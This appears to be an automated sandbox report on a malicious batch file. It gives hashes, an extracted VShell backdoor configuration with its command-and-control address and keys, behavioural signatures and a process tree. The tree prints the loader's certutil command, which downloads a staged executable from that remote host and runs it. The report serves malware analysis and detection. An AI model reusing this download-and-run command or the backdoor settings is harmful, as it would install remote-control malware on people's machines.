Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 17:03
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_84edb43f2b603f09d115bbdd4f4be9026cca89857ebe9501bd64aa25c5342ab7.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_84edb43f2b603f09d115bbdd4f4be9026cca89857ebe9501bd64aa25c5342ab7.bat
- Size 512B
- Sample260910-vkxtjsvydt
- SHA256 84edb43f2b603f09d115bbdd4f4be9026cca89857ebe9501bd64aa25c5342ab7
- MD5 d2881dd73ae81396e5afd1702198c88d
- SHA1 c4e7e8aaa6a06f0a1b81e0b647e6ef93f28defe9
- SHA512 5e312f86437c827cf3e8bb35d3f51327278f36284a7f80ccef01ea08f4b3313ad62f1678cd8633532728f0cc0c802a9c300735380ad15e824499650eab053e4b
- TLSH T17AF09ECD48324EFD0FC9C873F4546186B01AA0CCCAA2A5D41B9135DD4D880D932EBB93
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/3812-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 1104 certutil.exe 6 1104 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3812 97209ed5tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2316 cmd.exe 5064 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5076 WMIC.exe 5076 WMIC.exe 5076 WMIC.exe 5076 WMIC.exe 3812 97209ed5tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5076 WMIC.exe Token: SeSecurityPrivilege 5076 WMIC.exe Token: SeTakeOwnershipPrivilege 5076 WMIC.exe Token: SeLoadDriverPrivilege 5076 WMIC.exe Token: SeSystemProfilePrivilege 5076 WMIC.exe Token: SeSystemtimePrivilege 5076 WMIC.exe Token: SeProfSingleProcessPrivilege 5076 WMIC.exe Token: SeIncBasePriorityPrivilege 5076 WMIC.exe Token: SeCreatePagefilePrivilege 5076 WMIC.exe Token: SeBackupPrivilege 5076 WMIC.exe Token: SeRestorePrivilege 5076 WMIC.exe Token: SeShutdownPrivilege 5076 WMIC.exe Token: SeDebugPrivilege 5076 WMIC.exe Token: SeSystemEnvironmentPrivilege 5076 WMIC.exe Token: SeRemoteShutdownPrivilege 5076 WMIC.exe Token: SeUndockPrivilege 5076 WMIC.exe Token: SeManageVolumePrivilege 5076 WMIC.exe Token: 33 5076 WMIC.exe Token: 34 5076 WMIC.exe Token: 35 5076 WMIC.exe Token: 36 5076 WMIC.exe Token: SeIncreaseQuotaPrivilege 5076 WMIC.exe Token: SeSecurityPrivilege 5076 WMIC.exe Token: SeTakeOwnershipPrivilege 5076 WMIC.exe Token: SeLoadDriverPrivilege 5076 WMIC.exe Token: SeSystemProfilePrivilege 5076 WMIC.exe Token: SeSystemtimePrivilege 5076 WMIC.exe Token: SeProfSingleProcessPrivilege 5076 WMIC.exe Token: SeIncBasePriorityPrivilege 5076 WMIC.exe Token: SeCreatePagefilePrivilege 5076 WMIC.exe Token: SeBackupPrivilege 5076 WMIC.exe Token: SeRestorePrivilege 5076 WMIC.exe Token: SeShutdownPrivilege 5076 WMIC.exe Token: SeDebugPrivilege 5076 WMIC.exe Token: SeSystemEnvironmentPrivilege 5076 WMIC.exe Token: SeRemoteShutdownPrivilege 5076 WMIC.exe Token: SeUndockPrivilege 5076 WMIC.exe Token: SeManageVolumePrivilege 5076 WMIC.exe Token: 33 5076 WMIC.exe Token: 34 5076 WMIC.exe Token: 35 5076 WMIC.exe Token: 36 5076 WMIC.exe Token: SeDebugPrivilege 3812 97209ed5tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2316 wrote to memory of 5064 2316 cmd.exe 89 PID 5064 wrote to memory of 5076 5064 cmd.exe 91 PID 5064 wrote to memory of 4732 5064 cmd.exe 92 PID 2316 wrote to memory of 1104 2316 cmd.exe 94 PID 2316 wrote to memory of 3812 2316 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_84edb43f2b603f09d115bbdd4f4be9026cca89857ebe9501bd64aa25c5342ab7.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4732
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\97209ed5tcp.exe"2⤵
- Downloads MZ/PE file
PID:1104
-
-
C:\Users\Public\97209ed5tcp.exe"C:\Users\Public\97209ed5tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3812
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\97209ed5tcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH